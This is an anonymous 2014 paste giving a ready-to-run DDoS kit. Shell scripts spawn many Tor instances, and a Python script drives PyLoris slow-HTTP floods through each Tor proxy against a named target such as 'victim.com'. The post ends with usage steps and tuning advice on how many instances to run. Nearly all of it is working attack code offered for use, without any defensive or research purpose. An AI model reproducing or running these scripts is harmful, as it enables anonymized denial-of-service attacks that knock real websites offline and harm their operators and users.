1. in your pyloris main folder, create these files :
  2.  
  3. ------ ddos_cleaner.sh ------- (This script is used to remove all TOR proxies + stop the pyloris instances (killall python) did I mention it was dirty?)
  4. #!/bin/bash
  5. echo "" > plop.pid #dirty hack to avoid some weird error
  6. cat `find ./ | grep .pid`|xargs kill
  7. killall python
  8. rm data -Rf
  9.  
  10. ------ ddos_build_network.sh ------- (This one is used to build the tor networks, it create multiple instances of tor in order to use pyloris for DDoS)
  11. #!/bin/bash
  12. base_socks_port=8500
  13. base_control_port=10118
  14.  
  15. if [ ! -d "data" ]; then
  16.         mkdir "data"
  17. fi
  18.  
  19. for (( i=0; i<=$1; i++ ))
  20. do
  21.         socks_port=$((base_socks_port+i))
  22.         control_port=$((base_control_port+i))
  23.  
  24.         if [ ! -d "data/tor$i" ]; then
  25.                 echo "Creating directory data/tor$i"
  26.                 mkdir "data/tor$i"
  27.         fi
  28.  
  29.         echo "Running: tor --RunAsDaemon 1 --CookieAuthentication 0 --HashedControlPassword \"\" --ControlPort $control_port --PidFile tor$i.pid --SocksPort $socks_port --DataDirectory dat$
  30.  
  31.         tor --RunAsDaemon 1 --CookieAuthentication 0 --HashedControlPassword "" --ControlPort $control_port --PidFile tor$i.pid --SocksPort $socks_port --DataDirectory data/tor$i
  32.  
  33. done
  34.  
  35. ---------- ddos_starter.sh ----------- (This is the script you will launch - see usage below)
  36. #!/bin/bash
  37.  
  38. #usage :
  39. # ./ddos_starter.sh host number_of_tor_instances
  40. # eg : ./ddos_starter.sh victim.com 30
  41.  
  42. echo "Cleaning..."
  43. ./ddos_cleaner.sh
  44. echo "Rebuilding network..."
  45. ./ddos_build_network.sh > /dev/null $2
  46.  
  47. base_socks_port=8500
  48.  
  49. for (( i=0; i<$2; i++ ))
  50. do
  51.         socks_port=$((base_socks_port+i))
  52.         echo "Launching pyloris on $1 by tor port $socks_port."
  53.         ./dos.py $1 $socks_port > /dev/null &
  54. done
  55.  
  56. ----------- dos.py ---------- (A basic DoS python script using pyloris - there you can configure number of threads and all that - see pyloris examples)
  57. #! /usr/bin/env python
  58.  
  59. import sys
  60.  
  61.  
  62. """
  63. scriptloris_http.py
  64. A quick script to demonstrate some of the basic features of scripting
  65. functionality built in to the libloris module.
  66. """
  67.  
  68. # Connection information
  69.  
  70. host = sys.argv[1]
  71. port = 80
  72.  
  73. #print sys.argv[1]
  74. #sys.exit()
  75.  
  76. from libloris import *
  77.  
  78. def main(host, port):
  79.     # Instantiate the ScriptLoris object
  80.     loris = ScriptLoris()
  81.  
  82.     # Set the connection  options
  83.     loris.options['host'] = host
  84.     loris.options['port'] = port
  85.     loris.options['threadlimit'] = 50
  86.     loris.options['connectionlimit'] = 100
  87.     loris.options['connectionspeed'] = 100
  88.  
  89.     loris.options['socksversion'] = 'SOCKS5'
  90.     loris.options['sockshost'] = '127.0.0.1'
  91.     loris.options['socksport'] =  int(sys.argv[2])
  92.  
  93.  
  94.     # Build the HTTP request body
  95.     loris.options['request'] = 'GET / HTTP/1.1\r\n'
  96.     loris.options['request'] += 'Host: %s\r\n' % (host)
  97.     loris.options['request'] += 'User-Agent: PyLoris (scriptloris_http.py (http://pyloris.sf.net)\r\n'
  98.     loris.options['request'] += 'A' * 1024 * 1024
  99.  
  100.     # Launch the attack
  101.     loris.mainloop()
  102.  
  103. if __name__ == "__main__":
  104.     main(host, port)
  105.  
  106. --------------------------------------------------------------------
  107.  
  108. That's it guys!
  109. Now put some chmod +x on every script, and then launch ddos_start like that : ./ddos_starter.sh target.com number_of_tor_instances
  110.  
  111. On my little dedicated server I can't use more than 40 instances, otherwise the server gets very slow. Try with low values at first.

Posted by Anonymous at 03 Feb 2014, 08:04:56 Etc/UTC
Language: text